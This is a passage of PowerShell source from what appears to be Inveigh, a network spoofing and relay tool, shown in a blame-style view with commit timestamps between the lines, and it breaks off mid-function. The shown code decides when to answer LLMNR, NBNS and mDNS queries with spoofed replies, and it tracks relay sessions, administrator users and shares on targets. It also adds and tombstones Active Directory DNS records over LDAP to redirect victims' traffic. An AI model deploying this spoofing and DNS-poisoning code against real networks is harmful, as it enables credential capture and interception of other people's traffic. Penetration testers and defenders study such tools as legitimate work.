$inveigh . output_queue . Add ( " [+] Run Time = $RunTime Minute " ) > $null
2018-07-23 08:55:15 +00:00
}
elseif ( $RunTime -gt 1 )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Run Time = $RunTime Minutes " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $ShowHelp -eq 'Y' )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [!] Run Stop-Inveigh to stop " ) > $null
2018-07-23 08:55:15 +00:00
if ( $inveigh . console_output )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [*] Press any key to stop console output " ) > $null
2018-07-23 08:55:15 +00:00
}
}
2019-01-21 09:49:07 +00:00
while ( $inveigh . output_queue . Count -gt 0 )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
switch -Wildcard ( $inveigh . output_queue [ 0 ] )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
{ $_ -like " ? ` [ ` ! ` ]* " -or $_ -like " ? ` [- ` ]* " }
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
if ( $inveigh . status_output -and $inveigh . output_stream_only )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
Write-Output ( $inveigh . output_queue [ 0 ] + $inveigh . newline )
}
elseif ( $inveigh . status_output )
{
Write-Warning ( $inveigh . output_queue [ 0 ] )
}
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( $inveigh . file_output )
{
$inveigh . log_file_queue . Add ( $inveigh . output_queue [ 0 ] ) > $null
}
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( $inveigh . log_output )
{
$inveigh . log . Add ( $inveigh . output_queue [ 0 ] ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . RemoveAt ( 0 )
}
default
{
if ( $inveigh . status_output -and $inveigh . output_stream_only )
{
Write-Output ( $inveigh . output_queue [ 0 ] + $inveigh . newline )
}
elseif ( $inveigh . status_output )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
Write-Output ( $inveigh . output_queue [ 0 ] )
}
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( $inveigh . file_output )
{
$inveigh . log_file_queue . Add ( $inveigh . output_queue [ 0 ] ) > $null
}
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( $inveigh . log_output )
{
$inveigh . log . Add ( $inveigh . output_queue [ 0 ] ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . RemoveAt ( 0 )
2018-07-23 08:55:15 +00:00
}
}
}
2019-01-21 09:49:07 +00:00
$inveigh . status_output = $false
#endregion
#region begin script blocks
2018-07-23 08:55:15 +00:00
# Shared Basic Functions ScriptBlock
$shared_basic_functions_scriptblock =
{
2019-01-21 09:49:07 +00:00
function Get-UInt16DataLength
2019-01-21 09:47:35 +00:00
{
2019-01-21 09:49:07 +00:00
param ( [ Int ] $Start , [ Byte[] ] $Data )
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
$data_length = [ System.BitConverter ] :: ToUInt16 ( $Data [ $Start . . ( $Start + 1 ) ] , 0 )
2019-01-21 09:47:35 +00:00
2019-01-21 09:49:07 +00:00
return $data_length
2019-01-21 09:47:35 +00:00
}
2019-01-20 20:27:28 +00:00
2019-01-21 09:49:07 +00:00
function Get-UInt32DataLength
2019-01-21 09:47:35 +00:00
{
2019-01-21 09:49:07 +00:00
param ( [ Int ] $Start , [ Byte[] ] $Data )
$data_length = [ System.BitConverter ] :: ToUInt32 ( $Data [ $Start . . ( $Start + 3 ) ] , 0 )
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
return $data_length
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
function Convert-DataToString
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
param ( [ Int ] $Start , [ Int ] $Length , [ Byte[] ] $Data )
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
$string_data = [ System.BitConverter ] :: ToString ( $Data [ $Start . . ( $Start + $Length - 1 ) ] )
2018-07-23 08:55:15 +00:00
$string_data = $string_data -replace " -00 " , " "
$string_data = $string_data . Split ( " - " ) | ForEach-Object { [ Char][System.Convert ] :: ToInt16 ( $_ , 16 ) }
$string_extract = New-Object System . String ( $string_data , 0 , $string_data . Length )
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
return $string_extract
}
2019-01-21 09:49:07 +00:00
function Convert-DataToUInt16($field )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
[ Array ] :: Reverse ( $field )
return [ System.BitConverter ] :: ToUInt16 ( $field , 0 )
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
function Convert-DataToUInt32($field )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
[ Array ] :: Reverse ( $field )
return [ System.BitConverter ] :: ToUInt32 ( $field , 0 )
2019-01-21 09:47:35 +00:00
}
2019-01-21 09:49:07 +00:00
function Get-SpooferResponseMessage
2019-01-21 09:47:35 +00:00
{
2019-01-21 09:49:07 +00:00
param ( [ String ] $QueryString , [ String ] $Type , [ String ] $mDNSType )
2019-01-21 09:47:35 +00:00
2019-01-21 09:49:07 +00:00
$response_type = " [+] "
2019-01-21 09:47:35 +00:00
2019-01-21 09:49:07 +00:00
if ( $SpooferHostsReply -and $SpooferHostsReply -notcontains $QueryString )
2019-01-20 20:27:28 +00:00
{
2019-01-21 09:49:07 +00:00
$response_message = " [ $QueryString not on reply list] "
}
elseif ( $SpooferHostsIgnore -and $SpooferHostsIgnore -contains $QueryString )
{
$response_message = " [ $QueryString is on ignore list] "
}
elseif ( $SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP )
{
$response_message = " [ $source_IP not on reply list] "
}
elseif ( $SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP )
{
$response_message = " [ $source_IP is on ignore list] "
}
elseif ( $inveigh . valid_host_list -contains $query_string )
{
$response_message = " [ $query_string is a valid host] "
}
elseif ( $inveigh . IP_capture_list -contains $source_IP . IPAddressToString )
{
$response_message = " [previous $source_IP capture] "
}
elseif ( $source_IP . IPAddressToString -eq $IP )
{
$response_message = " [local request ignored] "
}
elseif ( $SpooferLearningDelay -and $spoofer_learning_stopwatch . Elapsed -lt $spoofer_learning_delay )
{
$response_message = " : " + [ Int ] ( $SpooferLearningDelay - $spoofer_learning_stopwatch . Elapsed . TotalMinutes ) + " minute(s) until spoofing starts "
}
elseif ( $Type -ne 'mDNS' -and $destination_IP . IPAddressToString -eq $IP )
{
$response_message = " [possible ResponderGuard request ignored] "
$response_type = " [!] "
}
elseif ( $Type -eq 'NBNS' -and $NBNSTypes -notcontains $NBNS_query_type )
{
$response_message = " [NBNS type disabled] "
}
elseif ( $Type -eq 'NBNS' -and $QueryString . Trim ( ) -eq '*' )
{
$response_message = " [NBSTAT request] "
}
elseif ( $Type -eq 'mDNS' -and $mDNSType -and $mDNSTypes -notcontains $mDNSType )
{
$response_message = " [mDNS type disabled] "
}
elseif ( @ ( $inveigh . request_table . $QueryString | Where-Object { $_ -match $source_IP . IPAddressToString } ) . Count -le $SpooferThresholdHost )
{
$response_message = " [SpooferThresholdHost >= $( @ ( $inveigh . request_table . $QueryString | Where-Object { $_ -match $source_IP . IPAddressToString } ) . Count ) ] "
}
elseif ( @ ( $inveigh . request_table . $QueryString | Sort-Object | Get-Unique ) . Count -le $SpooferThresholdNetwork )
{
$response_message = " [SpooferThresholdNetwork >= $( @ ( $inveigh . request_table . $QueryString | Sort-Object | Get-Unique ) . Count ) ] "
}
elseif ( $QueryString -notmatch '[^\x00-\x7F]+' )
{
$response_message = " [nonprintable characters] "
}
else
{
$response_message = " [something went wrong] "
$response_type = " [-] "
}
return $response_type , $response_message
}
function Get-NBNSQueryType([String]$NBNSQueryType )
{
switch ( $NBNSQueryType )
{
'41-41'
{
$NBNS_query_type = " 00 "
}
'41-44'
{
$NBNS_query_type = " 03 "
}
'43-41'
{
$NBNS_query_type = " 20 "
}
'42-4C'
{
$NBNS_query_type = " 1B "
}
'42-4D'
{
$NBNS_query_type = " 1C "
}
'42-4E'
{
$NBNS_query_type = " 1D "
}
'42-4F'
{
$NBNS_query_type = " 1E "
}
}
return $NBNS_query_type
}
function ConvertFrom-PacketOrderedDictionary
{
param ( $packet_ordered_dictionary )
foreach ( $field in $packet_ordered_dictionary . Values )
{
$byte_array + = $field
}
return $byte_array
}
function New-RelayEnumObject
{
param ( $IP , $Hostname , $Sessions , $AdministratorUsers , $AdministratorGroups , $Privileged , $Shares , $NetSessions , $NetSessionsMapped ,
$LocalUsers , $SMB2 , $Signing , $SMBServer , $Targeted , $Enumerate , $Execute )
if ( $Sessions -and $Sessions -isnot [ Array ] ) { $Sessions = @ ( $Sessions ) }
if ( $AdministratorUsers -and $AdministratorUsers -isnot [ Array ] ) { $AdministratorUsers = @ ( $AdministratorUsers ) }
if ( $AdministratorGroups -and $AdministratorGroups -isnot [ Array ] ) { $AdministratorGroups = @ ( $AdministratorGroups ) }
if ( $Privileged -and $Privileged -isnot [ Array ] ) { $Privileged = @ ( $Privileged ) }
if ( $Shares -and $Shares -isnot [ Array ] ) { $Shares = @ ( $Shares ) }
if ( $NetSessions -and $NetSessions -isnot [ Array ] ) { $NetSessions = @ ( $NetSessions ) }
if ( $NetSessionsMapped -and $NetSessionsMapped -isnot [ Array ] ) { $NetSessionsMapped = @ ( $NetSessionsMapped ) }
if ( $LocalUsers -and $LocalUsers -isnot [ Array ] ) { $LocalUsers = @ ( $LocalUsers ) }
$relay_object = New-Object PSObject
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Index " $inveigh . enumerate . Count
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " IP " $IP
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Hostname " $Hostname
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Sessions " $Sessions
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Administrator Users " $AdministratorUsers
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Administrator Groups " $AdministratorGroups
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Privileged " $Privileged
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Shares " $Shares
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " NetSessions " $NetSessions
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " NetSessions Mapped " $NetSessionsMapped
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Local Users " $LocalUsers
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " SMB2.1 " $SMB2
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Signing " $Signing
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " SMB Server " $SMBServer
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Targeted " $Targeted
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Enumerate " $Enumeration
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Execute " $Execution
return $relay_object
}
function Invoke-SessionUpdate
{
param ( [ String ] $domain , [ String ] $username , [ String ] $hostname , [ String ] $IP )
if ( $inveigh . domain_mapping_table . $domain )
{
$session = ( $username + " @ " + $inveigh . domain_mapping_table . $domain ) . ToUpper ( )
$hostname_full = ( $hostname + " . " + $inveigh . domain_mapping_table . $domain ) . ToUpper ( )
}
else
{
$session = $domain + " \ " + $username
}
for ( $i = 0 ; $i -lt $inveigh . enumerate . Count ; $i + + )
{
if ( $inveigh . enumerate [ $i ] . Hostname -eq $hostname_full -or $inveigh . enumerate [ $i ] . IP -eq $IP )
{
if ( ! $inveigh . enumerate [ $i ] . Hostname )
{
$inveigh . enumerate [ $target_index ] . Hostname = $hostname_full
}
[ Array ] $session_list = $inveigh . enumerate [ $i ] . Sessions
if ( $inveigh . domain_mapping_table . $domain )
{
for ( $j = 0 ; $j -lt $session_list . Count ; $j + + )
{
if ( $session_list [ $j ] -like " $domain \* " )
{
$session_username = ( $session_list [ $j ] . Split ( " \ " ) ) [ 1 ]
$session_update = $session_username + " @ " + $inveigh . domain_mapping_table . $domain
$session_list [ $j ] + = $session_update
$inveigh . enumerate [ $i ] . Sessions = $session_list
}
}
}
if ( $session_list -notcontains $session )
{
$session_list + = $session
$inveigh . enumerate [ $i ] . Sessions = $session_list
}
$target_updated = $true
break
}
}
if ( ! $target_updated )
{
$inveigh . enumerate . Add ( ( New-RelayEnumObject -IP $IP -Hostname $hostname_full -Sessions $session ) ) > $null
}
}
}
# ADIDNS Functions ScriptBlock
$ADIDNS_functions_scriptblock =
{
function Disable-ADIDNSNode
{
[ CmdletBinding ( ) ]
param
(
[ parameter ( Mandatory = $false ) ] [ String ] $Domain ,
[ parameter ( Mandatory = $false ) ] [ String ] $DomainController ,
[ parameter ( Mandatory = $true ) ] [ String ] $Node ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " DomainDNSZones " , " ForestDNSZones " ) ] [ String ] $Partition = " DomainDNSZones " ,
[ parameter ( Mandatory = $false ) ] [ String ] $Zone ,
[ parameter ( Mandatory = $false ) ] [ System.Management.Automation.PSCredential ] $Credential
)
$SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone
$distinguished_name = " DC= $Node ,DC= $Zone ,CN=MicrosoftDNS,DC= $Partition "
$DC_array = $Domain . Split ( " . " )
foreach ( $DC in $DC_array )
{
$distinguished_name + = " ,DC= $DC "
}
if ( $Credential )
{
$directory_entry = New-Object System . DirectoryServices . DirectoryEntry ( " LDAP:// $DomainController / $distinguished_name " , $Credential . UserName , $Credential . GetNetworkCredential ( ) . Password )
}
else
{
$directory_entry = New-Object System . DirectoryServices . DirectoryEntry " LDAP:// $DomainController / $distinguished_name "
}
$timestamp = [ Int64 ] ( ( [ datetime ] :: UtcNow . Ticks ) - ( Get-Date " 1/1/1601 " ) . Ticks )
$timestamp = [ System.BitConverter ] :: ToString ( [ System.BitConverter ] :: GetBytes ( $timestamp ) )
$timestamp = $timestamp . Split ( " - " ) | ForEach-Object { [ System.Convert ] :: ToInt16 ( $_ , 16 ) }
[ Byte[] ] $DNS_record = 0x08 , 0x00 , 0x00 , 0x00 , 0x05 , 0x00 , 0x00 , 0x00 +
$SOASerialNumberArray [ 0 . .3 ] +
0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 +
$timestamp
try
{
$directory_entry . InvokeSet ( 'dnsRecord' , $DNS_record )
$directory_entry . InvokeSet ( 'dnsTombstoned' , $true )
$directory_entry . SetInfo ( )
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] ADIDNS node $Node tombstoned in $Zone " ) > $null
}
catch
{
$error_message = $_ . Exception . Message
$error_message = $error_message -replace " `n " , " "
$inveigh . output_queue . Add ( " [!] [ $( Get-Date -format s ) ] $error_message $( $_ . InvocationInfo . Line . Trim ( ) ) " ) > $null
}
if ( $directory_entry . Path )
{
$directory_entry . Close ( )
}
}
function Enable-ADIDNSNode
{
[ CmdletBinding ( ) ]
param
(
[ parameter ( Mandatory = $false ) ] [ String ] $Data ,
[ parameter ( Mandatory = $false ) ] [ String ] $DistinguishedName ,
[ parameter ( Mandatory = $false ) ] [ String ] $Domain ,
[ parameter ( Mandatory = $false ) ] [ String ] $DomainController ,
[ parameter ( Mandatory = $true ) ] [ String ] $Node ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " DomainDNSZones " , " ForestDNSZones " ) ] [ String ] $Partition = " DomainDNSZones " ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " A " , " AAAA " , " CNAME " , " DNAME " , " MX " , " NS " , " PTR " , " SRV " , " TXT " ) ] [ String ] $Type = " A " ,
[ parameter ( Mandatory = $false ) ] [ String ] $Zone ,
[ parameter ( Mandatory = $false ) ] [ Byte[] ] $DNSRecord ,
[ parameter ( Mandatory = $false ) ] [ Int ] $Preference ,
[ parameter ( Mandatory = $false ) ] [ Int ] $Priority ,
[ parameter ( Mandatory = $false ) ] [ Int ] $Weight ,
[ parameter ( Mandatory = $false ) ] [ Int ] $Port ,
[ parameter ( Mandatory = $false ) ] [ Int ] $TTL = 600 ,
[ parameter ( Mandatory = $false ) ] [ Int32 ] $SOASerialNumber ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $Static ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $Tombstone ,
[ parameter ( Mandatory = $false ) ] [ System.Management.Automation.PSCredential ] $Credential
)
$distinguished_name = " DC= $Node ,DC= $Zone ,CN=MicrosoftDNS,DC= $Partition "
$DC_array = $Domain . Split ( " . " )
foreach ( $DC in $DC_array )
{
$distinguished_name + = " ,DC= $DC "
}
[ Byte[] ] $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -TTL $TTL -Zone $Zone
if ( $Credential )
{
$directory_entry = New-Object System . DirectoryServices . DirectoryEntry ( " LDAP:// $DomainController / $distinguished_name " , $Credential . UserName , $Credential . GetNetworkCredential ( ) . Password )
}
else
{
$directory_entry = New-Object System . DirectoryServices . DirectoryEntry " LDAP:// $DomainController / $distinguished_name "
}
try
{
$directory_entry . InvokeSet ( 'dnsRecord' , $DNSRecord )
$directory_entry . SetInfo ( )
$success = $true
$inveigh . output_queue . Add ( " [!] [ $( Get-Date -format s ) ] ADIDNS node $Node added to $Zone " ) > $null ;
if ( $inveigh . ADIDNS -eq 'Combo' )
{
$inveigh . ADIDNS_table . $Node = " 1 "
}
}
catch
{
$success = $false
$error_message = $_ . Exception . Message
$error_message = $error_message -replace " `n " , " "
$inveigh . output_queue . Add ( " [!] [ $( Get-Date -format s ) ] $error_message $( $_ . InvocationInfo . Line . Trim ( ) ) " ) > $null
if ( $inveigh . ADIDNS -eq 'Combo' )
{
$inveigh . ADIDNS_table . $Node = " 0 "
}
}
if ( $directory_entry . Path )
{
$directory_entry . Close ( )
}
return $success
}
function Get-ADIDNSNodeTombstoned
{
[ CmdletBinding ( ) ]
param
(
[ parameter ( Mandatory = $false ) ] [ String ] $DistinguishedName ,
[ parameter ( Mandatory = $false ) ] [ String ] $Domain ,
[ parameter ( Mandatory = $false ) ] [ String ] $DomainController ,
[ parameter ( Mandatory = $true ) ] [ String ] $Node ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " DomainDNSZones " , " ForestDNSZones " ) ] [ String ] $Partition = " DomainDNSZones " ,
[ parameter ( Mandatory = $false ) ] [ String ] $Zone ,
[ parameter ( Mandatory = $false ) ] [ System.Management.Automation.PSCredential ] $Credential
)
$distinguished_name = " DC= $Node ,DC= $Zone ,CN=MicrosoftDNS,DC= $Partition "
$DC_array = $Domain . Split ( " . " )
foreach ( $DC in $DC_array )
{
$distinguished_name + = " ,DC= $DC "
}
if ( $Credential )
{
$directory_entry = New-Object System . DirectoryServices . DirectoryEntry ( " LDAP:// $DomainController / $distinguished_name " , $Credential . UserName , $Credential . GetNetworkCredential ( ) . Password )
}
else
{
$directory_entry = New-Object System . DirectoryServices . DirectoryEntry " LDAP:// $DomainController / $distinguished_name "
}
try
{
$dnsTombstoned = $directory_entry . InvokeGet ( 'dnsTombstoned' )
$dnsRecord = $directory_entry . InvokeGet ( 'dnsRecord' )
}
catch
{
if ( $_ . Exception . Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*' -and
$_ . Exception . Message -notlike '*The following exception occurred while retrieving member "InvokeGet": "The specified directory service attribute or value does not exist.*' )
{
$error_message = $_ . Exception . Message
$error_message = $error_message -replace " `n " , " "
$inveigh . output_queue . Add ( " [!] [ $( Get-Date -format s ) ] $error_message $( $_ . InvocationInfo . Line . Trim ( ) ) " ) > $null
}
}
if ( $directory_entry . Path )
{
$directory_entry . Close ( )
}
$node_tombstoned = $false
if ( $dnsTombstoned -and $dnsRecord )
{
if ( $dnsRecord [ 0 ] . GetType ( ) . name -eq [ Byte ] )
{
if ( $dnsRecord . Count -ge 32 -and $dnsRecord [ 2 ] -eq 0 )
{
$node_tombstoned = $true
}
}
}
return $node_tombstoned
}
function New-ADIDNSNode
{
[ CmdletBinding ( ) ]
param
(
[ parameter ( Mandatory = $false ) ] [ String ] $Data ,
[ parameter ( Mandatory = $false ) ] [ String ] $DistinguishedName ,
[ parameter ( Mandatory = $false ) ] [ String ] $Domain ,
[ parameter ( Mandatory = $false ) ] [ String ] $DomainController ,
[ parameter ( Mandatory = $false ) ] [ String ] $Forest ,
[ parameter ( Mandatory = $true ) ] [ String ] $Node ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " DomainDNSZones " , " ForestDNSZones " ) ] [ String ] $Partition = " DomainDNSZones " ,
[ parameter ( Mandatory = $false ) ] [ String ] $Type ,
[ parameter ( Mandatory = $false ) ] [ String ] $Zone ,
[ parameter ( Mandatory = $false ) ] [ Int ] $TTL ,
[ parameter ( Mandatory = $false ) ] [ System.Management.Automation.PSCredential ] $Credential
)
$null = [ System.Reflection.Assembly ] :: LoadWithPartialName ( " System.DirectoryServices.Protocols " )
$distinguished_name = " DC= $Node ,DC= $Zone ,CN=MicrosoftDNS,DC= $Partition "
$DC_array = $Domain . Split ( " . " )
foreach ( $DC in $DC_array )
{
$distinguished_name + = " ,DC= $DC "
}
[ Byte[] ] $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -TTL $TTL -Zone $Zone
$identifier = New-Object System . DirectoryServices . Protocols . LdapDirectoryIdentifier ( $DomainController , 389 )
if ( $Credential )
{
$connection = New-Object System . DirectoryServices . Protocols . LdapConnection ( $identifier , $Credential . GetNetworkCredential ( ) )
}
else
{
$connection = New-Object System . DirectoryServices . Protocols . LdapConnection ( $identifier )
}
$object_category = " CN=Dns-Node,CN=Schema,CN=Configuration "
$forest_array = $Forest . Split ( " . " )
foreach ( $DC in $forest_array )
{
$object_category + = " ,DC= $DC "
}
try
{
$connection . SessionOptions . Sealing = $true
$connection . SessionOptions . Signing = $true
$connection . Bind ( )
$request = New-Object -TypeName System . DirectoryServices . Protocols . AddRequest
$request . DistinguishedName = $distinguished_name
$request . Attributes . Add ( ( New-Object " System.DirectoryServices.Protocols.DirectoryAttribute " -ArgumentList " objectClass " , @ ( " top " , " dnsNode " ) ) ) > $null
$request . Attributes . Add ( ( New-Object " System.DirectoryServices.Protocols.DirectoryAttribute " -ArgumentList " objectCategory " , $object_category ) ) > $null
$request . Attributes . Add ( ( New-Object " System.DirectoryServices.Protocols.DirectoryAttribute " -ArgumentList " dnsRecord " , $DNSRecord ) ) > $null
$request . Attributes . Add ( ( New-Object " System.DirectoryServices.Protocols.DirectoryAttribute " -ArgumentList " dNSTombstoned " , " TRUE " ) ) > $null
$connection . SendRequest ( $request ) > $null
$inveigh . output_queue . Add ( " [!] [ $( Get-Date -format s ) ] ADIDNS node $Node added to $Zone " ) > $null
$output = $true
if ( $inveigh . ADIDNS -eq 'Combo' )
{
$inveigh . ADIDNS_table . $Node = " 1 "
}
}
catch
{
$error_message = $_ . Exception . Message
$error_message = $error_message -replace " `n " , " "
$output = $false
if ( $_ . Exception . Message -ne 'Exception calling "SendRequest" with "1" argument(s): "The object exists."' )
{
$inveigh . ADIDNS = $null
$inveigh . output_queue . Add ( " [!] [ $( Get-Date -format s ) ] $error_message $( $_ . InvocationInfo . Line . Trim ( ) ) " ) > $null
}
if ( $inveigh . ADIDNS -eq 'Combo' )
{
$inveigh . ADIDNS_table . $Node = " 0 "
}
}
return $output
}
function New-SOASerialNumberArray
{
[ CmdletBinding ( ) ]
param
(
[ parameter ( Mandatory = $false ) ] [ String ] $DomainController ,
[ parameter ( Mandatory = $false ) ] [ String ] $Zone
)
$Zone = $Zone . ToLower ( )
function Convert-DataToUInt16($Field )
{
[ Array ] :: Reverse ( $Field )
return [ System.BitConverter ] :: ToUInt16 ( $Field , 0 )
}
function ConvertFrom-PacketOrderedDictionary($OrderedDictionary )
{
foreach ( $field in $OrderedDictionary . Values )
{
$byte_array + = $field
}
return $byte_array
}
function New-RandomByteArray
{
param ( [ Int ] $Length , [ Int ] $Minimum = 1 , [ Int ] $Maximum = 255 )
[ String ] $random = [ String ] ( 1 . . $Length | ForEach-Object { " {0:X2} " -f ( Get-Random -Minimum $Minimum -Maximum $Maximum ) } )
[ Byte[] ] $random = $random . Split ( " " ) | ForEach-Object { [ Char][System.Convert ] :: ToInt16 ( $_ , 16 ) }
return $random
}
function New-DNSNameArray
{
param ( [ String ] $Name )
$character_array = $Name . ToCharArray ( )
[ Array ] $index_array = 0 . . ( $character_array . Count - 1 ) | Where-Object { $character_array [ $_ ] -eq '.' }
if ( $index_array . Count -gt 0 )
{
$name_start = 0
foreach ( $index in $index_array )
{
$name_end = $index - $name_start
[ Byte[] ] $name_array + = $name_end
[ Byte[] ] $name_array + = [ System.Text.Encoding ] :: UTF8 . GetBytes ( $Name . Substring ( $name_start , $name_end ) )
$name_start = $index + 1
}
[ Byte[] ] $name_array + = ( $Name . Length - $name_start )
[ Byte[] ] $name_array + = [ System.Text.Encoding ] :: UTF8 . GetBytes ( $Name . Substring ( $name_start ) )
}
else
{
[ Byte[] ] $name_array = $Name . Length
[ Byte[] ] $name_array + = [ System.Text.Encoding ] :: UTF8 . GetBytes ( $Name . Substring ( $name_start ) )
}
return $name_array
}
function New-PacketDNSSOAQuery
{
param ( [ String ] $Name )
[ Byte[] ] $type = 0x00 , 0x06
[ Byte[] ] $name = ( New-DNSNameArray $Name ) + 0x00
[ Byte[] ] $length = [ System.BitConverter ] :: GetBytes ( $Name . Count + 16 ) [ 1 , 0 ]
[ Byte[] ] $transaction_ID = New-RandomByteArray 2
$DNSQuery = New-Object System . Collections . Specialized . OrderedDictionary
$DNSQuery . Add ( " Length " , $length )
$DNSQuery . Add ( " TransactionID " , $transaction_ID )
$DNSQuery . Add ( " Flags " , [ Byte[] ] ( 0x01 , 0x00 ) )
$DNSQuery . Add ( " Questions " , [ Byte[] ] ( 0x00 , 0x01 ) )
$DNSQuery . Add ( " AnswerRRs " , [ Byte[] ] ( 0x00 , 0x00 ) )
$DNSQuery . Add ( " AuthorityRRs " , [ Byte[] ] ( 0x00 , 0x00 ) )
$DNSQuery . Add ( " AdditionalRRs " , [ Byte[] ] ( 0x00 , 0x00 ) )
$DNSQuery . Add ( " Queries_Name " , $name )
$DNSQuery . Add ( " Queries_Type " , $type )
$DNSQuery . Add ( " Queries_Class " , [ Byte[] ] ( 0x00 , 0x01 ) )
return $DNSQuery
}
$DNS_client = New-Object System . Net . Sockets . TCPClient
$DNS_client . Client . ReceiveTimeout = 3000
try
{
$DNS_client . Connect ( $DomainController , " 53 " )
$DNS_client_stream = $DNS_client . GetStream ( )
$DNS_client_receive = New-Object System . Byte [ ] 2048
$packet_DNSQuery = New-PacketDNSSOAQuery $Zone
[ Byte[] ] $DNS_client_send = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery
$DNS_client_stream . Write ( $DNS_client_send , 0 , $DNS_client_send . Length ) > $null
$DNS_client_stream . Flush ( )
$DNS_client_stream . Read ( $DNS_client_receive , 0 , $DNS_client_receive . Length ) > $null
$DNS_client . Close ( )
$DNS_client_stream . Close ( )
if ( $DNS_client_receive [ 9 ] -eq 0 )
{
$inveigh . output_queue . Add ( " [-] $Zone SOA record not found " ) > $null
}
else
{
$DNS_reply_converted = [ System.BitConverter ] :: ToString ( $DNS_client_receive )
$DNS_reply_converted = $DNS_reply_converted -replace " - " , " "
$SOA_answer_index = $DNS_reply_converted . IndexOf ( " C00C00060001 " )
$SOA_answer_index = $SOA_answer_index / 2
$SOA_length = $DNS_client_receive [ ( $SOA_answer_index + 10 ) . . ( $SOA_answer_index + 11 ) ]
$SOA_length = Convert-DataToUInt16 $SOA_length
[ Byte[] ] $SOA_serial_current_array = $DNS_client_receive [ ( $SOA_answer_index + $SOA_length - 8 ) . . ( $SOA_answer_index + $SOA_length - 5 ) ]
$SOA_serial_current = [ System.BitConverter ] :: ToUInt32 ( $SOA_serial_current_array [ 3 . .0 ] , 0 ) + 1
[ Byte[] ] $SOA_serial_number_array = [ System.BitConverter ] :: GetBytes ( $SOA_serial_current ) [ 0 . .3 ]
}
}
catch
{
$inveigh . output_queue . Add ( " [-] $DomainController did not respond on TCP port 53 " ) > $null
}
return [ Byte[] ] $SOA_serial_number_array
}
function New-DNSRecordArray
{
[ CmdletBinding ( ) ]
[ OutputType ( [ Byte[] ] ) ]
param
(
[ parameter ( Mandatory = $false ) ] [ String ] $Data ,
[ parameter ( Mandatory = $false ) ] [ String ] $DomainController ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " A " , " AAAA " , " CNAME " , " DNAME " , " MX " , " NS " , " PTR " , " SRV " , " TXT " ) ] [ String ] $Type = " A " ,
[ parameter ( Mandatory = $false ) ] [ String ] $Zone ,
[ parameter ( Mandatory = $false ) ] [ Int ] $Preference ,
[ parameter ( Mandatory = $false ) ] [ Int ] $Priority ,
[ parameter ( Mandatory = $false ) ] [ Int ] $Weight ,
[ parameter ( Mandatory = $false ) ] [ Int ] $Port ,
[ parameter ( Mandatory = $false ) ] [ Int ] $TTL = 600 ,
[ parameter ( Mandatory = $false ) ] [ Int32 ] $SOASerialNumber ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $Static ,
[ parameter ( ValueFromRemainingArguments = $true ) ] $invalid_parameter
)
$SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone
function New-DNSNameArray
{
